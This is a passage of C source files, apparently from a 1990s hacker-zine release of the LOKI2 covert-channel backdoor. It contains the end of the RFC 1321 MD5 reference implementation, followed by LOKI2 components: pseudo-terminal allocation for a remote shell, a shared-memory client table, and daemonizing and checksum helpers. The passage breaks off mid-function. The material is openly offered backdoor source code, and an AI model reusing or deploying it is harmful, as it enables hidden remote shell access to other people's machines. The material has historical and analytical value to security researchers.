  2464. static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
  2465. static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));
  2466.  
  2467. static unsigned char PADDING[64] = {
  2468.   0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2469.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2470.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  2471. };
  2472.  
  2473. /* F, G, H and I are basic MD5 functions.
  2474.  */
  2475. #define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
  2476. #define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
  2477. #define H(x, y, z) ((x) ^ (y) ^ (z))
  2478. #define I(x, y, z) ((y) ^ ((x) | (~z)))
  2479.  
  2480. /* ROTATE_LEFT rotates x left n bits.
  2481.  */
  2482. #define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
  2483.  
  2484. /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
  2485. Rotation is separate from addition to prevent recomputation.
  2486.  */
  2487. #define FF(a, b, c, d, x, s, ac) { \
  2488.  (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2489.  (a) = ROTATE_LEFT ((a), (s)); \
  2490.  (a) += (b); \
  2491.   }
  2492. #define GG(a, b, c, d, x, s, ac) { \
  2493.  (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2494.  (a) = ROTATE_LEFT ((a), (s)); \
  2495.  (a) += (b); \
  2496.   }
  2497. #define HH(a, b, c, d, x, s, ac) { \
  2498.  (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2499.  (a) = ROTATE_LEFT ((a), (s)); \
  2500.  (a) += (b); \
  2501.   }
  2502. #define II(a, b, c, d, x, s, ac) { \
  2503.  (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2504.  (a) = ROTATE_LEFT ((a), (s)); \
  2505.  (a) += (b); \
  2506.   }
  2507.  
  2508. /* MD5 initialization. Begins an MD5 operation, writing a new context.
  2509.  */
  2510. void MD5Init (context)
  2511. MD5_CTX *context;                                        /* context */
  2512. {
  2513.   context->count[0] = context->count[1] = 0;
  2514.   /* Load magic initialization constants.
  2515. */
  2516.   context->state[0] = 0x67452301;
  2517.   context->state[1] = 0xefcdab89;
  2518.   context->state[2] = 0x98badcfe;
  2519.   context->state[3] = 0x10325476;
  2520. }
  2521.  
  2522. /* MD5 block update operation. Continues an MD5 message-digest
  2523.   operation, processing another message block, and updating the
  2524.   context.
  2525.  */
  2526. void MD5Update (context, input, inputLen)
  2527. MD5_CTX *context;                                        /* context */
  2528. unsigned char *input;                                /* input block */
  2529. unsigned int inputLen;                     /* length of input block */
  2530. {
  2531.   unsigned int i, index, partLen;
  2532.  
  2533.   /* Compute number of bytes mod 64 */
  2534.   index = (unsigned int)((context->count[0] >> 3) & 0x3F);
  2535.  
  2536.   /* Update number of bits */
  2537.   if ((context->count[0] += ((UINT4)inputLen << 3))
  2538.  
  2539.  
  2540. /*
  2541. Rivest                                                         [Page 11]
  2542.  
  2543. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2544. */
  2545.  
  2546.    < ((UINT4)inputLen << 3))
  2547.  context->count[1]++;
  2548.   context->count[1] += ((UINT4)inputLen >> 29);
  2549.  
  2550.   partLen = 64 - index;
  2551.  
  2552.   /* Transform as many times as possible.
  2553. */
  2554.   if (inputLen >= partLen) {
  2555.  MD5_memcpy
  2556.    ((POINTER)&context->buffer[index], (POINTER)input, partLen);
  2557.  MD5Transform (context->state, context->buffer);
  2558.  
  2559.  for (i = partLen; i + 63 < inputLen; i += 64)
  2560.    MD5Transform (context->state, &input[i]);
  2561.  
  2562.  index = 0;
  2563.   }
  2564.   else
  2565.  i = 0;
  2566.  
  2567.   /* Buffer remaining input */
  2568.   MD5_memcpy
  2569.  ((POINTER)&context->buffer[index], (POINTER)&input[i],
  2570.   inputLen-i);
  2571. }
  2572.  
  2573. /* MD5 finalization. Ends an MD5 message-digest operation, writing the
  2574.   the message digest and zeroizing the context.
  2575.  */
  2576. void MD5Final (digest, context)
  2577. unsigned char digest[16];                         /* message digest */
  2578. MD5_CTX *context;                                       /* context */
  2579. {
  2580.   unsigned char bits[8];
  2581.   unsigned int index, padLen;
  2582.  
  2583.   /* Save number of bits */
  2584.   Encode (bits, context->count, 8);
  2585.  
  2586.   /* Pad out to 56 mod 64.
  2587. */
  2588.   index = (unsigned int)((context->count[0] >> 3) & 0x3f);
  2589.   padLen = (index < 56) ? (56 - index) : (120 - index);
  2590.   MD5Update (context, PADDING, padLen);
  2591.  
  2592.   /* Append length (before padding) */
  2593.   MD5Update (context, bits, 8);
  2594.  
  2595.  
  2596. /*
  2597. Rivest                                                         [Page 12]
  2598.  
  2599. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2600. */
  2601.  
  2602.   /* Store state in digest */
  2603.   Encode (digest, context->state, 16);
  2604.  
  2605.   /* Zeroize sensitive information.
  2606. */
  2607.   MD5_memset ((POINTER)context, 0, sizeof (*context));
  2608. }
  2609.  
  2610. /* MD5 basic transformation. Transforms state based on block.
  2611.  */
  2612. static void MD5Transform (state, block)
  2613. UINT4 state[4];
  2614. unsigned char block[64];
  2615. {
  2616.   UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
  2617.  
  2618.   Decode (x, block, 64);
  2619.  
  2620.   /* Round 1 */
  2621.   FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  2622.   FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  2623.   FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  2624.   FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  2625.   FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  2626.   FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  2627.   FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
  2628.   FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
  2629.   FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
  2630.   FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
  2631.   FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
  2632.   FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
  2633.   FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
  2634.   FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
  2635.   FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
  2636.   FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
  2637.  
  2638.  /* Round 2 */
  2639.   GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  2640.   GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  2641.   GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  2642.   GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  2643.   GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
  2644.   GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */
  2645.   GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
  2646.   GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
  2647.   GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
  2648.   GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
  2649.   GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
  2650.  
  2651.  
  2652. /*
  2653. Rivest                                                         [Page 13]
  2654.  
  2655. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2656. */
  2657.  
  2658.   GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
  2659.   GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
  2660.   GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
  2661.   GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
  2662.   GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
  2663.  
  2664.   /* Round 3 */
  2665.   HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
  2666.   HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
  2667.   HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
  2668.   HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
  2669.   HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
  2670.   HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
  2671.   HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
  2672.   HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
  2673.   HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
  2674.   HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
  2675.   HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
  2676.   HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
  2677.   HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
  2678.   HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
  2679.   HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
  2680.   HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
  2681.  
  2682.   /* Round 4 */
  2683.   II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
  2684.   II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
  2685.   II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
  2686.   II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
  2687.   II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
  2688.   II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
  2689.   II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
  2690.   II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
  2691.   II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
  2692.   II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
  2693.   II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
  2694.   II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
  2695.   II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
  2696.   II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
  2697.   II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
  2698.   II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
  2699.  
  2700.   state[0] += a;
  2701.   state[1] += b;
  2702.   state[2] += c;
  2703.   state[3] += d;
  2704.  
  2705.   /* Zeroize sensitive information.
  2706.  
  2707.  
  2708. Rivest                                                         [Page 14]
  2709.  
  2710. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2711.  
  2712. */
  2713.   MD5_memset ((POINTER)x, 0, sizeof (x));
  2714. }
  2715.  
  2716. /* Encodes input (UINT4) into output (unsigned char). Assumes len is
  2717.   a multiple of 4.
  2718.  */
  2719. static void Encode (output, input, len)
  2720. unsigned char *output;
  2721. UINT4 *input;
  2722. unsigned int len;
  2723. {
  2724.   unsigned int i, j;
  2725.  
  2726.   for (i = 0, j = 0; j < len; i++, j += 4) {
  2727.  output[j] = (unsigned char)(input[i] & 0xff);
  2728.  output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
  2729.  output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
  2730.  output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
  2731.   }
  2732. }
  2733.  
  2734. /* Decodes input (unsigned char) into output (UINT4). Assumes len is
  2735.   a multiple of 4.
  2736.  */
  2737. static void Decode (output, input, len)
  2738. UINT4 *output;
  2739. unsigned char *input;
  2740. unsigned int len;
  2741. {
  2742.   unsigned int i, j;
  2743.  
  2744.   for (i = 0, j = 0; j < len; i++, j += 4)
  2745.  output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
  2746.    (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
  2747. }
  2748.  
  2749. /* Note: Replace "for loop" with standard memcpy if possible.
  2750.  */
  2751.  
  2752. static void MD5_memcpy (output, input, len)
  2753. POINTER output;
  2754. POINTER input;
  2755. unsigned int len;
  2756. {
  2757.   unsigned int i;
  2758.  
  2759.   for (i = 0; i < len; i++)
  2760.  
  2761.  
  2762. /*
  2763. Rivest                                                         [Page 15]
  2764.  
  2765. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2766. */
  2767.  
  2768.  output[i] = input[i];
  2769. }
  2770.  
  2771. /* Note: Replace "for loop" with standard memset if possible.
  2772.  */
  2773. static void MD5_memset (output, value, len)
  2774. POINTER output;
  2775. int value;
  2776. unsigned int len;
  2777. {
  2778.   unsigned int i;
  2779.  
  2780.   for (i = 0; i < len; i++)
  2781.  ((char *)output)[i] = (char)value;
  2782. }
  2783. <--> md5/md5c.c
  2784. <++> L2/pty.c
  2785. /*
  2786.  * LOKI
  2787.  *
  2788.  * [ pty.c ]
  2789.  *
  2790.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  2791.  *  All the PTY code ganked from Stevens.
  2792.  */
  2793.  
  2794. #ifdef  PTY
  2795. #include "loki.h"
  2796.  
  2797. extern int verbose;
  2798.  
  2799. /*
  2800.  *  Open a pty and establish it as the session leader with a
  2801.  *  controlling terminal
  2802.  */
  2803.  
  2804. pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize *slave_winsize)
  2805. {
  2806.  
  2807.     int fdm, fds;
  2808.     pid_t pid;
  2809.     char pts_name[20];
  2810.  
  2811.     if ((fdm = ptym_open(pts_name)) < 0)
  2812.         err_exit(1, 0, verbose, "\nCannot open master pty\n");
  2813.  
  2814.     if (slavename) strcpy(slavename, pts_name);
  2815.  
  2816.     if ((pid = fork()) < 0) return (-1);
  2817.  
  2818.     else if (!pid)
  2819.     {
  2820.         if (setsid() < 0)
  2821.             err_exit(1, 1, verbose, "\nCannot set session");
  2822.  
  2823.         if ((fds = ptys_open(fdm, pts_name)) < 0)
  2824.             err_exit(1, 0, verbose, "\nCannot open slave pty\n");
  2825.         close(fdm);
  2826.  
  2827. #if defined(TIOCSCTTY) && !defined(CIBAUD)
  2828.         if (ioctl(fds, TIOCSCTTY,(char *)0) < 0)
  2829.             err_exit(1, 1, verbose, "\nioctl");
  2830. #endif
  2831.                                         /* set termios/winsize */
  2832.         if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) < 0) err_exit(1, 1, verbose, "\nCannot set termio");
  2833.                                     /* slave becomes stdin/stdout/stderr */
  2834.         if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0)
  2835.             err_exit(1, 1, verbose, "\nioctl");
  2836.         if (dup2(fds, STDIN_FILENO) != STDIN_FILENO)
  2837.             err_exit(1, 0, verbose, "\ndup\n");
  2838.         if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO)
  2839.             err_exit(1, 0, verbose, "\ndup\n");
  2840.         if (dup2(fds, STDERR_FILENO) != STDIN_FILENO)
  2841.             err_exit(1, 0, verbose, "\ndup\n");
  2842.         if (fds > STDERR_FILENO) close(fds);
  2843.  
  2844.         return (0);                     /* return child */
  2845.     }
  2846.  
  2847.     else
  2848.     {
  2849.         *fdmp = fdm;                    /* Return fd of master */
  2850.         return (pid);                   /* parent returns PID of child */
  2851.     }
  2852. }
  2853.  
  2854.  
  2855. /*
  2856.  *  Determine which psuedo terminals are available and try to open one
  2857.  */
  2858.  
  2859. int ptym_open(char *pts_name)
  2860. {
  2861.  
  2862.     int fdm     = 0;                    /* List of ptys to run through */
  2863.     char *p1    = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";
  2864.  
  2865.     strcpy(pts_name, "/dev/pty00");     /* pty device name template */
  2866.  
  2867.     for (; *p1; p1++)
  2868.     {
  2869.         pts_name[8] = *p1;
  2870.         for (; *p2; p2++)
  2871.         {
  2872.             pts_name[9] = *p2;
  2873.             if ((fdm = open(pts_name, O_RDWR)) < 0)
  2874.             {
  2875.                                         /* device doesn't exist */
  2876.             if (errno == ENOENT) return (-1);
  2877.                 else continue;
  2878.             }
  2879.             pts_name[5] = 't';          /* pty -> tty */
  2880.             return (fdm);               /* master file descriptor */
  2881.         }    
  2882.     }
  2883.     return (-1);                        /* control falls here if no pty
  2884.                                          * devices are available
  2885.                                          */
  2886. }
  2887.  
  2888.  
  2889. /*
  2890.  *  Open the slave device and set ownership and permissions
  2891.  */
  2892.  
  2893. int ptys_open(int fdm, char *pts_name)
  2894. {
  2895.  
  2896.     struct group *gp;
  2897.     int gid = 0, fds = 0;
  2898.  
  2899.     if ((gp = getgrnam("tty"))) gid = (gp -> gr_gid);
  2900.     else gid = -1;                              /* Group tty is not in the group file */
  2901.  
  2902.     chown(pts_name, getuid(), gid);             /* make it ours */
  2903.                                                 /* set permissions -rw--w---- */
  2904.     chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);
  2905.  
  2906.     if ((fds = open(pts_name, O_RDWR)) < 0)
  2907.     {
  2908.         close(fdm);                            /* Cannot open fds */
  2909.         return (-1);
  2910.     }
  2911.     return (fds);
  2912. }
  2913.  
  2914. #endif
  2915.  
  2916. /* EOF */
  2917. <--> pty.c
  2918. <++> L2/shm.c
  2919. /*
  2920.  * LOKI2
  2921.  *
  2922.  * [ shm.c ]
  2923.  *
  2924.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  2925.  */
  2926.  
  2927.  
  2928. #include "loki.h"
  2929. #include "client_db.h"
  2930. #include "shm.h"
  2931.  
  2932. extern struct loki rdg;
  2933. extern int verbose;
  2934. extern int destroy_shm;
  2935. struct client_list *client = 0;
  2936. int semid;
  2937.  
  2938. #ifdef STRONG_CRYPTO
  2939. extern short ivec_salt;
  2940. extern u_char user_key[BF_KEYSIZE];
  2941. #endif
  2942.  
  2943. /*
  2944.  *  Prepare shared memory and semaphore
  2945.  */
  2946.  
  2947. void prep_shm()
  2948. {
  2949.  
  2950.     key_t shmkey    = SHM_KEY + getpid();  /* shared memory key ID */
  2951.     key_t semkey    = SEM_KEY + getpid();  /* semaphore key ID     */
  2952.     int shmid, len  = 0, i = 0;
  2953.  
  2954.     len             = sizeof(struct client_list) * MAX_CLIENT;
  2955.  
  2956.                                         /* Request a shared memory segment */
  2957.     if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0)
  2958.         err_exit(1, 1, verbose, "[fatal] shared mem segment request error");
  2959.  
  2960.                                         /* Get SET_SIZE semaphore to perform
  2961.                                          * shared memory locking with
  2962.                                          */
  2963.     if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0)
  2964.         err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");
  2965.  
  2966.                                         /* Attach pointer to the shared memory
  2967.                                          * segment
  2968.                                          */
  2969.     client = (struct client_list *) shmat(shmid, NULL, (int)NULL);
  2970.                                         /* clear the database */
  2971.     for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i]));
  2972. }
  2973.  
  2974.  
  2975. /*
  2976.  *  Locks the semaphore so the caller can access the shared memory segment.
  2977.  *  This is an atomic operation.
  2978.  */
  2979.  
  2980. void locks()
  2981. {
  2982.  
  2983.     struct sembuf lock[2] =
  2984.     {
  2985.         {0, 0, 0},
  2986.         {0, 1, SEM_UNDO}
  2987.     };
  2988.  
  2989.     if (semop(semid, &lock[0], 2) < 0)
  2990.         err_exit(1, 1, verbose, "[fatal] could not lock memory");
  2991. }
  2992.  
  2993.  
  2994. /*
  2995.  *  Unlocks the semaphore so the caller can access the shared memory segment.
  2996.  *  This is an atomic operation.
  2997.  */
  2998.  
  2999. void ulocks()
  3000. {
  3001.  
  3002.     struct sembuf ulock[1] =
  3003.     {
  3004.         { 0, -1, (IPC_NOWAIT | SEM_UNDO) }
  3005.     };
  3006.  
  3007.     if (semop(semid, &ulock[0], 1) < 0)
  3008.         err_exit(1, 1, verbose, "[fatal] could not unlock memory");
  3009. }
  3010.  
  3011.  
  3012. /*
  3013.  *  Release the shared memory segment.
  3014.  */
  3015.  
  3016. void dump_shm()
  3017. {
  3018.  
  3019.     locks();
  3020.     if ((shmdt((u_char *)client)) == -1)
  3021.         err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");
  3022.  
  3023.     if (destroy_shm == OK)
  3024.     {
  3025.         if ((shmctl(semid, IPC_RMID, NULL)) == -1)
  3026.             err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");
  3027.  
  3028.         if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == -1)
  3029.             err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore");
  3030.     }
  3031.     ulocks();
  3032. }
  3033.  
  3034. /* EOF */
  3035. <--> shm.c
  3036. <++> L2/shm.h
  3037. /*
  3038.  * LOKI
  3039.  *
  3040.  * shm header file
  3041.  *
  3042.  *  1996/7 Guild Corporation Productions    [daemon9]
  3043.  */
  3044.  
  3045.  
  3046. #define SHM_KEY     242                 /* Shared memory key            */
  3047. #define SEM_KEY     424                 /* Semaphore key                */
  3048. #define SHM_PRM     S_IRUSR|S_IWUSR     /* Shared Memory Permissions    */
  3049. #define SET_SIZE    1
  3050.  
  3051. void prep_shm();                        /* prepare shared mem segment   */
  3052. void locks();                           /* lock shared memory           */
  3053. void ulocks();                          /* unlock shared memory         */
  3054. void dump_shm();                        /* release shared memory        */
  3055. <--> shm.h
  3056. <++> L2/surplus.c
  3057. /*
  3058.  * LOKI2
  3059.  *
  3060.  * [ surplus.c ]
  3061.  *
  3062.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  3063.  */
  3064.  
  3065.  
  3066. #include "loki.h"
  3067.  
  3068. extern int verbose;
  3069. extern jmp_buf env;
  3070.  
  3071. #define WORKING_ROOT "/tmp"             /* Sometimes we make mistakes.
  3072.                                          * Sometimes we execute commands we
  3073.                                          * didn't mean to.  `rm -rf` is much
  3074.                                          * easier to palate from /tmp
  3075.                                          */
  3076. /*
  3077.  *  Domain names / dotted-decimals --> network byte order.
  3078.  */
  3079.  
  3080. u_long name_resolve(char *hostname)
  3081. {
  3082.  
  3083.     struct in_addr addr;
  3084.     struct hostent *hostEnt;
  3085.                                         /* name lookup failure */
  3086.     if ((addr.s_addr = inet_addr(hostname)) == -1)
  3087.     {
  3088.         if (!(hostEnt = gethostbyname(hostname)))
  3089.             err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
  3090.         bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
  3091.     }
  3092.     return (addr.s_addr);
  3093. }
  3094.  
  3095.  
  3096. /*
  3097.  *  Network byte order --> dotted-decimals.
  3098.  */
  3099.  
  3100. char *host_lookup(u_long in)
  3101. {
  3102.  
  3103.     char hostname[BUFSIZ] = {0};
  3104.     struct in_addr addr;
  3105.  
  3106.     addr.s_addr = in;
  3107.     strcpy(hostname, inet_ntoa(addr));
  3108.     return (strdup(hostname));
  3109. }
  3110.  
  3111. #ifdef X86FAST_CHECK
  3112.  
  3113. /*
  3114.  *  Fast x86 based assembly implementation of the IP checksum routine.
  3115.  */
  3116.  
  3117.  
  3118. u_short i_check(u_short *buff, int len)
  3119. {
  3120.  
  3121.     u_long sum = 0;
  3122.     if (len > 3)
  3123.     {
  3124.         __asm__("clc\n"
  3125.         "1:\t"
  3126.         "lodsl\n\t"
  3127.         "adcl %%eax, %%ebx\n\t"
  3128.         "loop 1b\n\t"
  3129.         "adcl $0, %%ebx\n\t"
  3130.         "movl %%ebx, %%eax\n\t"
  3131.         "shrl $16, %%eax\n\t"
  3132.         "addw %%ax, %%bx\n\t"
  3133.         "adcw $0, %%bx"
  3134.         : "=b" (sum) , "=S" (buff)
  3135.         : "0" (sum), "c" (len >> 2) ,"1" (buff)
  3136.         : "ax", "cx", "si", "bx");
  3137.     }
  3138.     if (len & 2)
  3139.     {
  3140.         __asm__("lodsw\n\t"
  3141.         "addw %%ax, %%bx\n\t"
  3142.         "adcw $0, %%bx"
  3143.         : "=b" (sum) , "=S" (buff)
  3144.         : "0" (sum), "c" (len >> 2) ,"1" (buff)
  3145.         : "ax", "cx", "si", "bx");
  3146.     }
  3147.     if (len & 2)
  3148.     {
  3149.         __asm__("lodsw\n\t"
  3150.         "addw %%ax, %%bx\n\t"
  3151.         "adcw $0, %%bx"
  3152.         : "=b" (sum), "=S" (buff)
  3153.         : "0" (sum), "1" (buff)
  3154.         : "bx", "ax", "si");
  3155.     }
  3156.     if (len & 1)
  3157.     {
  3158.         __asm__("lodsb\n\t"
  3159.         "movb $0, %%ah\n\t"
  3160.         "addw %%ax, %%bx\n\t"
  3161.         "adcw $0, %%bx"
  3162.         : "=b" (sum), "=S" (buff)
  3163.         : "0" (sum), "1" (buff)
  3164.         : "bx", "ax", "si");
  3165.     }
  3166.     if (len & 1)
  3167.     {
  3168.         __asm__("lodsb\n\t"
  3169.         "movb $0, %%ah\n\t"
  3170.         "addw %%ax, %%bx\n\t"
  3171.         "adcw $0, %%bx"
  3172.         : "=b" (sum), "=S" (buff)
  3173.         : "0" (sum), "1" (buff)
  3174.         : "bx", "ax", "si");
  3175.     }
  3176.     sum  = ~sum;
  3177.     return (sum & 0xffff);
  3178. }
  3179.  
  3180. #else
  3181.  
  3182. /*
  3183.  *  Standard IP Family checksum routine.
  3184.  */
  3185.  
  3186. u_short i_check(u_short *ptr, int nbytes)
  3187. {
  3188.  
  3189.     register long sum       = 0;
  3190.     u_short oddbyte         = 0;
  3191.     register u_short answer = 0;
  3192.  
  3193.     while (nbytes > 1)
  3194.     {
  3195.         sum += *ptr++;
  3196.         nbytes -= 2;
  3197.     }
  3198.     if (nbytes == 1)
  3199.     {
  3200.         oddbyte = 0;
  3201.         *((u_char *)&oddbyte) =* (u_char *)ptr;
  3202.         sum += oddbyte;
  3203.     }
  3204.     sum     = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
  3205.     sum     += (sum >> 16);
  3206.     answer  = ~sum;
  3207.     return (answer);
  3208. }
  3209.  
  3210. #endif  /* X86FAST_CHECK */
  3211.  
  3212.  
  3213. /*
  3214.  *  Generic exit with error function.  If checkerrno is true, errno should
  3215.  *  be looked at and we call perror, otherwise, just dump to stderr.
  3216.  *  Additionally, we have the option of suppressing the error messages by
  3217.  *  zeroing verbose.
  3218.  */
  3219.  
  3220. void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr)
  3221. {
  3222.     if (verbalkint)
  3223.     {
  3224.         if (checkerrno) perror(errstr);
  3225.         else fprintf(stderr, errstr);
  3226.     }
  3227.     clean_exit(exitstatus);
  3228. }
  3229.  
  3230.  
  3231. /*
  3232.  *  SIGALRM signal handler.  We reset the alarm timer and default signal
  3233.  *  signal handler, then restore our stack frame from the point that
  3234.  *  setjmp() was called.
  3235.  */
  3236.  
  3237. void catch_timeout(int signo)
  3238. {
  3239.  
  3240.     alarm(0);                           /* reset alarm timer */
  3241.  
  3242.                                         /* reset SIGALRM, our handler will
  3243.                                          * be again set after we longjmp()
  3244.                                          */
  3245.     if (signal(SIGALRM, catch_timeout) == SIG_ERR)
  3246.         err_exit(1, 1, verbose, L_MSG_SIGALRM);
  3247.                                         /* restore environment */
  3248.     longjmp(env, 1);
  3249. }
  3250.  
  3251.  
  3252. /*
  3253.  *  Clean exit handler
  3254.  */
  3255.  
  3256. void clean_exit(int status)
  3257. {
  3258.  
  3259.     extern int tsock;
  3260.     extern int ripsock;
  3261.  
  3262.     close(ripsock);
  3263.     close(tsock);
  3264.     exit(status);
  3265. }
  3266.  
  3267. /*
  3268.  *  Keep child proccesses from zombiing on us
  3269.  */
  3270.  
  3271. void reaper(int signo)
  3272. {
  3273.     int sys = 0;
  3274.  
  3275.     wait(&sys);                     /* get child's exit status */
  3276.  
  3277.                                     /* re-establish signal handler */
  3278.     if (signal(SIGCHLD, reaper) == SIG_ERR)
  3279.         err_exit(1, 1, verbose, L_MSG_SIGCHLD);
  3280. }
  3281.  
  3282. /*
  3283.  *  Simple daemonizing procedure.
  3284.  */
  3285.  
  3286. void shadow()
  3287. {
  3288.     extern int errno;
  3289.     int fd = 0;
  3290.  
  3291.     close(STDIN_FILENO);            /* We no longer need STDIN */
  3292.     if (!verbose)
  3293.     {                               /* Get rid of these also */
  3294.         close(STDOUT_FILENO);
  3295.         close(STDERR_FILENO);
  3296.     }
  3297.                                     /* Ignore read/write signals from/to
  3298.                                      * the controlling terminal.
  3299.                                      */
  3300.     signal(SIGTTOU, SIG_IGN);
  3301.     signal(SIGTTIN, SIG_IGN);
  3302.     signal(SIGTSTP, SIG_IGN);       /* Ignore suspend signal. */
  3303.  
  3304.     switch (fork())
  3305.     {
  3306.         case 0:                     /* child continues */
  3307.             break;
  3308.  
  3309.         default:                    /* parent exits */
  3310.             clean_exit(0);
  3311.  
  3312.         case -1:                    /* fork error */
  3313.             err_exit(1, 1, verbose, "[fatal] Cannot go daemon");
  3314.     }
  3315.                                     /* Create a new session and set this
  3316.                                      * process to be the group leader.
  3317.                                      */
  3318.     if (setsid() == -1)
  3319.         err_exit(1, 1, verbose, "[fatal] Cannot create session");
